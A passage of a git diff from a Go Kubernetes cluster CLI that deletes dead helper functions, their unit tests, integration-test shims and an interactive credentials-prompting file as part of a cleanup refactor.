assert.Contains(t, output, "Node Count: 3") - }) - - t.Run("displays dry run mode message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - config := &ClusterConfigDisplay{ - Name: "test-cluster", - Type: "k3d", - K8sVersion: "v1.25.0-k3s1", - NodeCount: 3, - } - - err := service.ShowConfigurationSummary(config, true, false, &buf) - - assert.NoError(t, err) - output := buf.String() - assert.Contains(t, output, "DRY RUN MODE - No actual changes will be made") - }) - - t.Run("displays skip wizard message", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - config := &ClusterConfigDisplay{ - Name: "test-cluster", - Type: "k3d", - K8sVersion: "v1.25.0-k3s1", - NodeCount: 3, - } - - err := service.ShowConfigurationSummary(config, false, true, &buf) - - assert.NoError(t, err) - output := buf.String() - assert.Contains(t, output, "Proceeding with cluster creation...") - }) - - t.Run("handles empty configuration values", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - config := &ClusterConfigDisplay{ - Name: "", - Type: "", - K8sVersion: "", - NodeCount: 0, - } - - err := service.ShowConfigurationSummary(config, false, false, &buf) - - assert.NoError(t, err) - output := buf.String() - assert.Contains(t, output, "Cluster Name: ") - assert.Contains(t, output, "Cluster Type: ") - assert.Contains(t, output, "Node Count: 0") - }) - - t.Run("handles both dry run and skip wizard", func(t *testing.T) { - service := NewDisplayService() - var buf bytes.Buffer - - config := &ClusterConfigDisplay{ - Name: "test-cluster", - Type: "k3d", - K8sVersion: "v1.25.0-k3s1", - NodeCount: 3, - } - - err := service.ShowConfigurationSummary(config, true, true, &buf) - - assert.NoError(t, err) - output := buf.String() - // Dry run takes precedence - assert.Contains(t, output, "DRY RUN MODE - No actual changes will be made") - assert.NotContains(t, output, "Proceeding with cluster creation...") - }) -} - func TestClusterDisplayInfo(t *testing.T) { t.Run("creates cluster display info with all fields", func(t *testing.T) { createdAt := time.Date(2023, 1, 1, 12, 0, 0, 0, time.UTC) @@ -435,19 +157,3 @@ func TestNodeDisplayInfo(t *testing.T) { assert.Equal(t, "ready", node.Status) }) } - -func TestClusterConfigDisplay(t *testing.T) { - t.Run("creates cluster config display", func(t *testing.T) { - config := ClusterConfigDisplay{ - Name: "my-cluster", - Type: "gke", - K8sVersion: "v1.26.0", - NodeCount: 5, - } - - assert.Equal(t, "my-cluster", config.Name) - assert.Equal(t, "gke", config.Type) - assert.Equal(t, "v1.26.0", config.K8sVersion) - assert.Equal(t, 5, config.NodeCount) - }) -} diff --git a/internal/cluster/ui/wizard.go b/internal/cluster/ui/wizard.go index adbbc845..3cb22612 100644 --- a/internal/cluster/ui/wizard.go +++ b/internal/cluster/ui/wizard.go @@ -1,7 +1,6 @@ package ui import ( - "errors" "fmt" "github.com/flamingo-stack/openframe-cli/internal/cluster/models" @@ -98,42 +97,6 @@ func (w *ConfigWizard) Run() (ClusterConfig, error) { return w.config, nil } -// SelectCluster provides interactive cluster selection -func SelectCluster(clusters []models.ClusterInfo, message string) (models.ClusterInfo, error) { - if len(clusters) == 0 { - return models.ClusterInfo{}, errors.New("no clusters found") - } - - items := make([]string, len(clusters)) - for i, cluster := range clusters { - items[i] = formatClusterOption(cluster) - } - - prompt := promptui.Select{ - Label: message, - Items: items, - Templates: &promptui.SelectTemplates{ - Label: "{{ . }}:", - Active: "→ {{ . | cyan }}", - Inactive: " {{ . }}", - }, - } - - idx, _, err := prompt.Run() - if err != nil { - return models.ClusterInfo{}, err - } - - return clusters[idx], nil -} - -// formatClusterOption formats a cluster for display in selection lists -func formatClusterOption(clusterInfo models.ClusterInfo) string { - return pterm.Sprintf("%s - %s", - clusterInfo.Name, - clusterInfo.Status) -} - // ConfigurationHandler handles cluster configuration flows type ConfigurationHandler struct{} @@ -223,14 +186,3 @@ func (h *ConfigurationHandler) getWizardConfig(clusterName string) (models.Clust NodeCount: wizardConfig.NodeCount, }, nil } - -// GetClusterNameOrDefault returns the cluster name from args or default - helper for commands -func GetClusterNameOrDefault(args []string, defaultName string) string { - if len(args) > 0 && args[0] != "" { - return args[0] - } - if defaultName != "" { - return defaultName - } - return "openframe-dev" -} diff --git a/internal/cluster/ui/wizard_test.go b/internal/cluster/ui/wizard_test.go index 38f38469..e14e11ca 100644 --- a/internal/cluster/ui/wizard_test.go +++ b/internal/cluster/ui/wizard_test.go @@ -57,144 +57,6 @@ func TestClusterConfig(t *testing.T) { }) } -func TestFormatClusterOption(t *testing.T) { - t.Run("formats cluster option correctly", func(t *testing.T) { - clusterInfo := ClusterInfo{ - Name: "test-cluster", - Status: "running", - } - - result := formatClusterOption(clusterInfo) - assert.Contains(t, result, "test-cluster") - assert.Contains(t, result, "running") - assert.Contains(t, result, " - ") - }) - - t.Run("handles different status values", func(t *testing.T) { - testCases := []struct { - name string - status string - }{ - {"cluster1", "running"}, - {"cluster2", "stopped"}, - {"cluster3", "pending"}, - {"cluster4", "error"}, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - clusterInfo := ClusterInfo{ - Name: tc.name, - Status: tc.status, - } - - result := formatClusterOption(clusterInfo) - assert.Contains(t, result, tc.name) - assert.Contains(t, result, tc.status) - }) - } - }) - - t.Run("handles empty values", func(t *testing.T) { - clusterInfo := ClusterInfo{ - Name: "", - Status: "", - } - - result := formatClusterOption(clusterInfo) - assert.Contains(t, result, " - ") - }) -} - -func TestGetClusterNameOrDefault(t *testing.T) { - t.Run("returns cluster name from args when provided", func(t *testing.T) { - args := []string{"my-cluster"} - defaultName := "default-cluster" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, "my-cluster", result) - }) - - t.Run("returns default name when args is empty", func(t *testing.T) { - args := []string{} - defaultName := "default-cluster" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, "default-cluster", result) - }) - - t.Run("returns default name when args is nil", func(t *testing.T) { - var args []string - defaultName := "default-cluster" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, "default-cluster", result) - }) - - t.Run("returns default name when first arg is empty", func(t *testing.T) { - args := []string{""} - defaultName := "default-cluster" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, "default-cluster", result) - }) - - t.Run("returns openframe-dev when no default provided", func(t *testing.T) { - args := []string{} - defaultName := "" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, "openframe-dev", result) - }) - - t.Run("handles multiple args and returns first", func(t *testing.T) { - args := []string{"first-cluster", "second-cluster"} - defaultName := "default-cluster" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, "first-cluster", result) - }) - - t.Run("handles whitespace in cluster names", func(t *testing.T) { - args := []string{" cluster-with-spaces "} - defaultName := "default-cluster" - - result := GetClusterNameOrDefault(args, defaultName) - assert.Equal(t, " cluster-with-spaces ", result) - }) -} - -func TestSelectCluster(t *testing.T) { - t.Run("returns error when no clusters provided", func(t *testing.T) { - clusters := []ClusterInfo{} - - _, err := SelectCluster(clusters, "Select a cluster") - assert.Error(t, err) - assert.Contains(t, err.Error(), "no clusters found") - }) - - t.Run("creates items for selection when clusters provided", func(t *testing.T) { - clusters := []ClusterInfo{ - {Name: "cluster1", Status: "running"}, - {Name: "cluster2", Status: "stopped"}, - } - - // This function would normally require user interaction - // We're just testing that it doesn't panic and validates input - assert.NotPanics(t, func() { - // Test that clusters list is processed correctly - assert.Len(t, clusters, 2) - assert.Equal(t, "cluster1", clusters[0].Name) - assert.Equal(t, "cluster2", clusters[1].Name) - - // We can't actually test the interactive part without mocking promptui - // But we can test the error case - _, err := SelectCluster([]ClusterInfo{}, "Test") - assert.Error(t, err) - }) - }) -} - // Mock tests for wizard validation logic that can be tested without UI interaction func TestWizardValidation(t *testing.T) { t.Run("validates cluster name requirements", func(t *testing.T) { diff --git a/internal/cluster/utils/cmd_helpers.go b/internal/cluster/utils/cmd_helpers.go index eb42006f..f89fe56a 100644 --- a/internal/cluster/utils/cmd_helpers.go +++ b/internal/cluster/utils/cmd_helpers.go @@ -1,5 +1,9 @@ package utils +// NOTE: this package must never import tests/... — the shipped binary used to +// compile testutil (and testify) in via the integration-test helpers that +// lived here (audit B7). + import ( stderrors "errors" "sync" @@ -8,7 +12,6 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/cluster/models" "github.com/flamingo-stack/openframe-cli/internal/shared/errors" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" - "github.com/flamingo-stack/openframe-cli/tests/testutil" "github.com/spf13/cobra" ) @@ -40,20 +43,6 @@ func GetCommandService() *cluster.ClusterService { return cluster.NewClusterService(exec) } -// GetSuppressedCommandService creates a command service with UI suppression for automation -func GetSuppressedCommandService() *cluster.ClusterService { - // Use injected executor if available (for testing) - if globalFlags != nil && globalFlags.Executor != nil { - return cluster.NewClusterServiceSuppressed(globalFlags.Executor) - } - - // Create real executor with current flags - dryRun := globalFlags != nil && globalFlags.Global != nil && globalFlags.Global.DryRun - verbose := globalFlags != nil && globalFlags.Global != nil && globalFlags.Global.Verbose - exec := executor.NewRealCommandExecutor(dryRun, verbose) - return cluster.NewClusterServiceSuppressed(exec) -} - // WrapCommandWithCommonSetup wraps a command function with common CLI setup and error handling func WrapCommandWithCommonSetup(runFunc func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) error { return func(cmd *cobra.Command, args []string) error { @@ -103,33 +92,17 @@ func GetGlobalFlags() *cluster.FlagContainer { return globalFlags } +// SetTestExecutor injects a mock executor into the global flag container. It +// exists ONLY for cmd-layer tests (paired with ResetGlobalFlags in cleanup); +// production never calls it. func SetTestExecutor(exec executor.CommandExecutor) { InitGlobalFlags() globalFlags.Executor = exec } +// ResetGlobalFlags clears the global flag container (test cleanup). func ResetGlobalFlags() { globalFlagsMutex.Lock() defer globalFlagsMutex.Unlock() globalFlags = nil } - -// Compatibility functions for integration tests -var integrationTestFlags *cluster.FlagContainer - -func getOrCreateIntegrationFlags() *cluster.FlagContainer { - if integrationTestFlags == nil { - integrationTestFlags = testutil.CreateIntegrationTestFlags() - } - return integrationTestFlags -} - -func SetVerboseForIntegrationTesting(v bool) { - flags := getOrCreateIntegrationFlags() - testutil.SetVerboseMode(flags, v) -} - -func ResetTestFlags() { - integrationTestFlags = nil - ResetGlobalFlags() -} diff --git a/internal/cluster/utils/cmd_helpers_test.go b/internal/cluster/utils/cmd_helpers_test.go index 180d3302..1e1ededc 100644 --- a/internal/cluster/utils/cmd_helpers_test.go +++ b/internal/cluster/utils/cmd_helpers_test.go @@ -241,44 +241,6 @@ func TestTestingSupport(t *testing.T) { assert.Nil(t, globalFlags) }) - t.Run("ResetTestFlags", func(t *testing.T) { - InitGlobalFlags() - integrationTestFlags = &cluster.FlagContainer{} - - ResetTestFlags() - - assert.Nil(t, globalFlags) - assert.Nil(t, integrationTestFlags) - }) -} - -func TestIntegrationTestSupport(t *testing.T) { - t.Run("getOrCreateIntegrationFlags creates new flags", func(t *testing.T) { - integrationTestFlags = nil - - flags := getOrCreateIntegrationFlags() - - assert.NotNil(t, flags) - assert.Same(t, flags, integrationTestFlags) - }) - - t.Run("getOrCreateIntegrationFlags returns existing flags", func(t *testing.T) { - existing := &cluster.FlagContainer{} - integrationTestFlags = existing - - flags := getOrCreateIntegrationFlags() - - assert.Same(t, existing, flags) - }) - - t.Run("SetVerboseForIntegrationTesting", func(t *testing.T) { - integrationTestFlags = nil - - SetVerboseForIntegrationTesting(true) - - assert.NotNil(t, integrationTestFlags) - // Note: The actual verbose setting is handled by testutil.SetVerboseMode - }) } func TestFlagContainerLifecycle(t *testing.T) { @@ -518,25 +480,6 @@ func TestComprehensiveFunctionCoverage(t *testing.T) { }) } -func TestPrivateHelperFunctions(t *testing.T) { - t.Run("getOrCreateIntegrationFlags functionality", func(t *testing.T) { - // Reset integration flags - integrationTestFlags = nil - - // First call should create new flags - flags1 := getOrCreateIntegrationFlags() - assert.NotNil(t, flags1) - assert.Same(t, flags1, integrationTestFlags) - - // Second call should return existing flags - flags2 := getOrCreateIntegrationFlags() - assert.Same(t, flags1, flags2) - - // Clean up - integrationTestFlags = nil - }) -} - func TestErrorScenarios(t *testing.T) { t.Run("WrapCommandWithCommonSetup with nil error", func(t *testing.T) { InitGlobalFlags() @@ -583,30 +526,4 @@ func TestBoundaryConditions(t *testing.T) { assert.Same(t, first, globalFlags, "Multiple initializations should not create new instances") }) - t.Run("ResetTestFlags comprehensive cleanup", func(t *testing.T) { - // Set up both global and integration flags - InitGlobalFlags() - integrationTestFlags = &cluster.FlagContainer{} - - assert.NotNil(t, globalFlags) - assert.NotNil(t, integrationTestFlags) - - // Reset everything - ResetTestFlags() - - assert.Nil(t, globalFlags) - assert.Nil(t, integrationTestFlags) - }) - - t.Run("SetVerboseForIntegrationTesting creates flags if needed", func(t *testing.T) { - integrationTestFlags = nil - - // This should create integration flags if they don't exist - SetVerboseForIntegrationTesting(true) - - assert.NotNil(t, integrationTestFlags) - - // Clean up - integrationTestFlags = nil - }) } diff --git a/internal/cluster/utils/helpers.go b/internal/cluster/utils/helpers.go index b5f0f84b..6cef02c1 100644 --- a/internal/cluster/utils/helpers.go +++ b/internal/cluster/utils/helpers.go @@ -1,9 +1,6 @@ package utils import ( - "fmt" - "strings" - "github.com/flamingo-stack/openframe-cli/internal/cluster/models" ) @@ -12,60 +9,3 @@ type ClusterSelectionResult struct { Name string Type models.ClusterType } - -// ExecResult moved to cmd/cluster/cluster.go for better locality - -// Command execution utilities moved to respective cmd files for better locality - -// Validation utilities - -// ValidateClusterName validates cluster name format using domain validation -func ValidateClusterName(name string) error { - return models.ValidateClusterName(name) -} - -// ParseClusterType converts string to ClusterType -func ParseClusterType(typeStr string) models.ClusterType { - switch strings.ToLower(typeStr) { - case "k3d": - return models.ClusterTypeK3d - case "gke": - return models.ClusterTypeGKE - default: - return models.ClusterTypeK3d // Default - } -} - -// GetNodeCount returns validated node count with default -func GetNodeCount(nodeCount int) int { - if nodeCount <= 0 { - return 3 // Default to 3 nodes - } - return nodeCount -} - -// Cluster selection utilities - -// HandleClusterSelectionWithType removed - use UI package for clean separation - -// HandleClusterSelection removed - use UI package for clean separation - -// SelectClusterByName removed - use UI package for clean separation - -// selectFromList removed - use UI package for clean separation - -// UI utilities - -// ConfirmClusterDeletion handles cluster deletion confirmation with consistent messaging -// ConfirmClusterDeletion moved to ui package - use ui.ConfirmClusterDeletion instead - -// ShowClusterOperationCancelled moved to ui package - use ui.ShowClusterOperationCancelled instead - -// FormatClusterSuccessMessage moved to ui package - use ui.FormatClusterSuccessMessage instead - -// CreateClusterError creates a new cluster error using the standardized error system -func CreateClusterError(operation, clusterName string, clusterType models.ClusterType, err error) error { - return fmt.Errorf("cluster %s operation failed for %s (%s): %w", operation, clusterName, clusterType, err) -} - -// confirmAction moved to ui package - use ui internal confirmAction instead diff --git a/internal/cluster/utils/helpers_test.go b/internal/cluster/utils/helpers_test.go index 63a76bdf..a6c4f56e 100644 --- a/internal/cluster/utils/helpers_test.go +++ b/internal/cluster/utils/helpers_test.go @@ -7,117 +7,6 @@ import ( "github.com/stretchr/testify/assert" ) -func TestValidateClusterName(t *testing.T) { - t.Run("validates valid cluster name", func(t *testing.T) { - err := ValidateClusterName("test-cluster") - assert.NoError(t, err) - }) - - t.Run("validates cluster name with numbers", func(t *testing.T) { - err := ValidateClusterName("cluster-123") - assert.NoError(t, err) - }) - - t.Run("rejects cluster name with underscores", func(t *testing.T) { - err := ValidateClusterName("test_cluster") - assert.Error(t, err) - assert.Contains(t, err.Error(), "must contain only letters, numbers, and hyphens") - }) - - t.Run("rejects empty cluster name", func(t *testing.T) { - err := ValidateClusterName("") - assert.Error(t, err) - assert.Contains(t, err.Error(), "cluster name cannot be empty") - }) - - t.Run("rejects whitespace-only cluster name", func(t *testing.T) { - err := ValidateClusterName(" ") - assert.Error(t, err) - assert.Contains(t, err.Error(), "cluster name cannot be empty or contain only whitespace") - }) - - t.Run("rejects cluster name with only tabs", func(t *testing.T) { - err := ValidateClusterName("\t\t") - assert.Error(t, err) - assert.Contains(t, err.Error(), "cluster name cannot be empty or contain only whitespace") - }) - - t.Run("rejects cluster name with mixed whitespace", func(t *testing.T) { - err := ValidateClusterName(" \t \n ") - assert.Error(t, err) - assert.Contains(t, err.Error(), "cluster name cannot be empty or contain only whitespace") - }) -} - -func TestParseClusterType(t *testing.T) { - t.Run("parses k3d cluster type", func(t *testing.T) { - clusterType := ParseClusterType("k3d") - assert.Equal(t, models.ClusterTypeK3d, clusterType) - }) - - t.Run("parses K3D cluster type case insensitive", func(t *testing.T) { - clusterType := ParseClusterType("K3D") - assert.Equal(t, models.ClusterTypeK3d, clusterType) - }) - - t.Run("parses gke cluster type", func(t *testing.T) { - clusterType := ParseClusterType("gke") - assert.Equal(t, models.ClusterTypeGKE, clusterType) - }) - - t.Run("parses GKE cluster type case insensitive", func(t *testing.T) { - clusterType := ParseClusterType("GKE") - assert.Equal(t, models.ClusterTypeGKE, clusterType) - }) - - t.Run("defaults to k3d for unknown cluster type", func(t *testing.T) { - clusterType := ParseClusterType("unknown") - assert.Equal(t, models.ClusterTypeK3d, clusterType) - }) - - t.Run("defaults to k3d for empty cluster type", func(t *testing.T) { - clusterType := ParseClusterType("") - assert.Equal(t, models.ClusterTypeK3d, clusterType) - }) - - t.Run("handles mixed case unknown cluster type", func(t *testing.T) { - clusterType := ParseClusterType("AKS") // Not supported, should default - assert.Equal(t, models.ClusterTypeK3d, clusterType) - }) -} - -func TestGetNodeCount(t *testing.T) { - t.Run("returns valid node count", func(t *testing.T) { - nodeCount := GetNodeCount(5) - assert.Equal(t, 5, nodeCount) - }) - - t.Run("returns valid node count for 1", func(t *testing.T) { - nodeCount := GetNodeCount(1) - assert.Equal(t, 1, nodeCount) - }) - - t.Run("returns valid node count for large number", func(t *testing.T) { - nodeCount := GetNodeCount(100) - assert.Equal(t, 100, nodeCount) - }) - - t.Run("defaults zero node count to 3", func(t *testing.T) { - nodeCount := GetNodeCount(0) - assert.Equal(t, 3, nodeCount) - }) - - t.Run("defaults negative node count to 3", func(t *testing.T) { - nodeCount := GetNodeCount(-1) - assert.Equal(t, 3, nodeCount) - }) - - t.Run("defaults large negative node count to 3", func(t *testing.T) { - nodeCount := GetNodeCount(-100) - assert.Equal(t, 3, nodeCount) - }) -} - func TestClusterSelectionResult(t *testing.T) { t.Run("creates cluster selection result", func(t *testing.T) { result := ClusterSelectionResult{ @@ -152,37 +41,6 @@ func TestClusterSelectionResult(t *testing.T) { }) } -func TestCreateClusterError(t *testing.T) { - t.Run("creates cluster error with all parameters", func(t *testing.T) { - originalErr := assert.AnError - err := CreateClusterError("create", "test-cluster", models.ClusterTypeK3d, originalErr) - - assert.Error(t, err) - assert.Contains(t, err.Error(), "cluster create operation failed") - assert.Contains(t, err.Error(), "test-cluster") - assert.Contains(t, err.Error(), "k3d") - assert.Contains(t, err.Error(), originalErr.Error()) - }) - - t.Run("creates cluster error for delete operation", func(t *testing.T) { - originalErr := assert.AnError - err := CreateClusterError("delete", "my-cluster", models.ClusterTypeGKE, originalErr) - - assert.Error(t, err) - assert.Contains(t, err.Error(), "cluster delete operation failed") - assert.Contains(t, err.Error(), "my-cluster") - assert.Contains(t, err.Error(), "gke") - }) - - t.Run("wraps original error correctly", func(t *testing.T) { - originalErr := assert.AnError - err := CreateClusterError("test", "cluster", models.ClusterTypeK3d, originalErr) - - // The error should wrap the original error - assert.ErrorIs(t, err, originalErr) - }) -} - func TestTypeAliases(t *testing.T) { t.Run("cluster type aliases work correctly", func(t *testing.T) { // Test that the type aliases are correctly set up @@ -243,7 +101,7 @@ func TestEdgeCases(t *testing.T) { for _, tc := range testCases { t.Run(tc.name, func(t *testing.T) { - err := ValidateClusterName(tc.input) + err := models.ValidateClusterName(tc.input) if tc.wantErr { assert.Error(t, err) if tc.errMsg != "" { @@ -256,50 +114,4 @@ func TestEdgeCases(t *testing.T) { } }) - t.Run("handles boundary values for node count", func(t *testing.T) { - testCases := []struct { - name string - input int - expected int - }{ - {"minimum valid", 1, 1}, - {"normal value", 5, 5}, - {"large value", 1000, 1000}, - {"zero", 0, 3}, - {"negative small", -1, 3}, - {"negative large", -1000, 3}, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - result := GetNodeCount(tc.input) - assert.Equal(t, tc.expected, result) - }) - } - }) - - t.Run("handles case variations in cluster type parsing", func(t *testing.T) { - testCases := []struct { - name string - input string - expected models.ClusterType - }{ - {"lowercase k3d", "k3d", models.ClusterTypeK3d}, - {"uppercase k3d", "K3D", models.ClusterTypeK3d}, - {"mixed case k3d", "K3d", models.ClusterTypeK3d}, - {"lowercase gke", "gke", models.ClusterTypeGKE}, - {"uppercase gke", "GKE", models.ClusterTypeGKE}, - {"mixed case gke", "Gke", models.ClusterTypeGKE}, - {"unknown type", "docker", models.ClusterTypeK3d}, - {"empty string", "", models.ClusterTypeK3d}, - {"whitespace", " ", models.ClusterTypeK3d}, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - result := ParseClusterType(tc.input) - assert.Equal(t, tc.expected, result) - }) - } - }) } diff --git a/internal/k8s/accessor.go b/internal/k8s/accessor.go index f30f757b..950fa82e 100644 --- a/internal/k8s/accessor.go +++ b/internal/k8s/accessor.go @@ -16,11 +16,6 @@ type Accessor struct { clientset kubernetes.Interface } -// NewAccessor wraps an existing clientset (used by tests with a fake client). -func NewAccessor(clientset kubernetes.Interface) *Accessor { - return &Accessor{clientset: clientset} -} - // NewAccessorForConfig builds an Accessor from a rest.Config. func NewAccessorForConfig(config *rest.Config) (*Accessor, error) { if config == nil { diff --git a/internal/k8s/accessor_test.go b/internal/k8s/accessor_test.go index d4d08f55..71a99073 100644 --- a/internal/k8s/accessor_test.go +++ b/internal/k8s/accessor_test.go @@ -38,7 +38,7 @@ func TestCheckHealth_CountsReadyNodes(t *testing.T) { node("ready-1", true, "4", "8Gi"), node("notready", false, "4", "8Gi"), ) - h, err := NewAccessor(cs).CheckHealth(context.Background()) + h, err := (&Accessor{clientset: cs}).CheckHealth(context.Background()) require.NoError(t, err) assert.True(t, h.Reachable) assert.Equal(t, 2, h.NodesTotal) @@ -51,7 +51,7 @@ func TestCheckHealth_Unreachable(t *testing.T) { cs.PrependReactor("list", "nodes", func(ktesting.Action) (bool, runtime.Object, error) { return true, nil, fmt.Errorf("connection refused") }) - h, err := NewAccessor(cs).CheckHealth(context.Background()) + h, err := (&Accessor{clientset: cs}).CheckHealth(context.Background()) require.Error(t, err) assert.False(t, h.Reachable) assert.False(t, h.Ready()) @@ -63,7 +63,7 @@ func TestCheckResources_SumsReadyNodesOnly(t *testing.T) { node("ready-2", true, "2", "4Gi"), node("notready", false, "8", "16Gi"), // must be excluded ) - a := NewAccessor(cs) + a := &Accessor{clientset: cs} // ready capacity = 6 CPU (6000m), 12Gi res, ok, err := a.CheckResources(context.Background(), Requirements{CPUMillis: 6000, MemBytes: 12 * 1024 * 1024 * 1024}) diff --git a/internal/platform/platform.go b/internal/platform/platform.go index 76cc3a9b..6e451dd6 100644 --- a/internal/platform/platform.go +++ b/internal/platform/platform.go @@ -25,12 +25,6 @@ func Current() OS { return OS(runtime.GOOS) } // IsWindows reports whether the host OS is Windows. func IsWindows() bool { return Current() == Windows } -// IsMac reports whether the host OS is macOS. -func IsMac() bool { return Current() == Darwin } - -// IsLinux reports whether the host OS is Linux. -func IsLinux() bool { return Current() == Linux } - // InstallDocs holds a tool's installation guidance per OS. Default is used for // any OS without a specific entry. type InstallDocs struct { diff --git a/internal/platform/platform_test.go b/internal/platform/platform_test.go index a8060c72..e06b9393 100644 --- a/internal/platform/platform_test.go +++ b/internal/platform/platform_test.go @@ -14,7 +14,7 @@ func TestCurrentMatchesRuntime(t *testing.T) { func TestOSHelpersMutuallyExclusive(t *testing.T) { n := 0 - for _, b := range []bool{IsWindows(), IsMac(), IsLinux()} { + for _, b := range []bool{IsWindows(), Current() == Darwin, Current() == Linux} { if b { n++ } diff --git a/internal/shared/config/credentials.go b/internal/shared/config/credentials.go deleted file mode 100644 index 8ebdcfe4..00000000 --- a/internal/shared/config/credentials.go +++ /dev/null @@ -1,253 +0,0 @@ -package config - -import ( - "fmt" - "strings" - - sharedUI "github.com/flamingo-stack/openframe-cli/internal/shared/ui" - "github.com/pterm/pterm" -) - -// CredentialsPrompter handles prompting for credentials across different contexts -type CredentialsPrompter struct{} - -// NewCredentialsPrompter creates a new credentials prompter -func NewCredentialsPrompter() *CredentialsPrompter { - return &CredentialsPrompter{} -} - -// GitHubCredentials represents GitHub authentication credentials -type GitHubCredentials struct { - Username string - Token string -} - -// PromptForGitHubCredentials prompts for GitHub username and token -func (cp *CredentialsPrompter) PromptForGitHubCredentials(repoURL string) (*GitHubCredentials, error) { - pterm.Info.Printf("🔐 Private repository access required for: %s\n", repoURL) - - // Prompt for username - username, err := sharedUI.GetInput("GitHub Username", "read-contents-pat", cp.validateNonEmpty("Username")) - if err != nil { - return nil, fmt.Errorf("failed to get username: %w", err) - } - - // Prompt for token (masked input) - token, err := sharedUI.GetInput("GitHub Personal Access Token", "", cp.validateNonEmpty("Token")) - if err != nil { - return nil, fmt.Errorf("failed to get token: %w", err) - } - - credentials := &GitHubCredentials{ - Username: strings.TrimSpace(username), - Token: strings.TrimSpace(token), - } - - if credentials.Username == "" || credentials.Token == "" { - return nil, fmt.Errorf("username and token are required") - } - - pterm.Success.Println("✅ Credentials provided") - return credentials, nil -} - -// DockerCredentials represents Docker registry credentials -type DockerCredentials struct { - Registry string - Username string - Password string -} - -// PromptForDockerCredentials prompts for Docker registry credentials -func (cp *CredentialsPrompter) PromptForDockerCredentials(registry string) (*DockerCredentials, error) { - pterm.Info.Printf("🔐 Docker registry access required for: %s\n", registry) - pterm.Info.Println("Please provide your Docker credentials:") - - // Prompt for username - username, err := sharedUI.GetInput("Username", "", cp.validateNonEmpty("Username")) - if err != nil { - return nil, fmt.Errorf("failed to get username: %w", err) - } - - // Prompt for password - password, err := sharedUI.GetInput("Password", "", cp.validateNonEmpty("Password")) - if err != nil { - return nil, fmt.Errorf("failed to get password: %w", err) - } - - credentials := &DockerCredentials{ - Registry: registry, - Username: strings.TrimSpace(username), - Password: strings.TrimSpace(password), - } - - if credentials.Username == "" || credentials.Password == "" { - return nil, fmt.Errorf("username and password are required") - } - - pterm.Success.Println("✅ Credentials provided") - return credentials, nil -} - -// GenericCredentials represents generic username/password credentials -type GenericCredentials struct { - Username string - Password string -} - -// PromptForGenericCredentials prompts for generic username/password credentials -func (cp *CredentialsPrompter) PromptForGenericCredentials(service string) (*GenericCredentials, error) { - pterm.Info.Printf("🔐 Authentication required for: %s\n", service) - pterm.Info.Println("Please provide your credentials:") - - // Prompt for username - username, err := sharedUI.GetInput("Username", "", cp.validateNonEmpty("Username")) - if err != nil { - return nil, fmt.Errorf("failed to get username: %w", err) - } - - // Prompt for password - password, err := sharedUI.GetInput("Password", "", cp.validateNonEmpty("Password")) - if err != nil { - return nil, fmt.Errorf("failed to get password: %w", err) - } - - credentials := &GenericCredentials{ - Username: strings.TrimSpace(username), - Password: strings.TrimSpace(password), - } - - if credentials.Username == "" || credentials.Password == "" { - return nil, fmt.Errorf("username and password are required") - } - - pterm.Success.Println("✅ Credentials provided") - return credentials, nil -} - -// APIKeyCredentials represents API key based credentials -type APIKeyCredentials struct { - APIKey string - APISecret string -} - -// PromptForAPIKeyCredentials prompts for API key and secret -func (cp *CredentialsPrompter) PromptForAPIKeyCredentials(service string) (*APIKeyCredentials, error) { - pterm.Info.Printf("🔐 API credentials required for: %s\n", service) - pterm.Info.Println("Please provide your API credentials:") - - // Prompt for API key - apiKey, err := sharedUI.GetInput("API Key", "", cp.validateNonEmpty("API Key")) - if err != nil { - return nil, fmt.Errorf("failed to get API key: %w", err) - } - - // Prompt for API secret - apiSecret, err := sharedUI.GetInput("API Secret", "", cp.validateNonEmpty("API Secret")) - if err != nil { - return nil, fmt.Errorf("failed to get API secret: %w", err) - } - - credentials := &APIKeyCredentials{ - APIKey: strings.TrimSpace(apiKey), - APISecret: strings.TrimSpace(apiSecret), - } - - if credentials.APIKey == "" || credentials.APISecret == "" { - return nil, fmt.Errorf("API key and secret are required") - } - - pterm.Success.Println("✅ API credentials provided") - return credentials, nil -} - -// CredentialsOptions allows customization of credential prompting -type CredentialsOptions struct { - AllowEmpty bool - HideInput bool - DefaultUsername string - CustomMessage string -} - -// PromptWithOptions prompts for credentials with custom options -func (cp *CredentialsPrompter) PromptWithOptions(service string, opts CredentialsOptions) (*GenericCredentials, error) { - message := opts.CustomMessage - if message == "" { - message = fmt.Sprintf("🔐 Authentication required for: %s", service) - } - pterm.Info.Println(message) - - validator := cp.validateNonEmpty("Username") - if opts.AllowEmpty { - validator = nil - } - - // Prompt for username - username, err := sharedUI.GetInput("Username", opts.DefaultUsername, validator) - if err != nil { - return nil, fmt.Errorf("failed to get username: %w", err) - } - - // Prompt for password - passwordValidator := cp.validateNonEmpty("Password") - if opts.AllowEmpty { - passwordValidator = nil - } - - password, err := sharedUI.GetInput("Password", "", passwordValidator) - if err != nil { - return nil, fmt.Errorf("failed to get password: %w", err) - } - - credentials := &GenericCredentials{ - Username: strings.TrimSpace(username), - Password: strings.TrimSpace(password), - } - - if !opts.AllowEmpty && (credentials.Username == "" || credentials.Password == "") { - return nil, fmt.Errorf("username and password are required") - } - - pterm.Success.Println("✅ Credentials provided") - return credentials, nil -} - -// validateNonEmpty returns a validator function for non-empty fields -func (cp *CredentialsPrompter) validateNonEmpty(fieldName string) func(string) error { - return func(input string) error { - if strings.TrimSpace(input) == "" { - return fmt.Errorf("%s cannot be empty", fieldName) - } - return nil - } -} - -// IsCredentialsRequired determines if credentials are needed based on the configuration -func (cp *CredentialsPrompter) IsCredentialsRequired(username, password string) bool { - return strings.TrimSpace(username) == 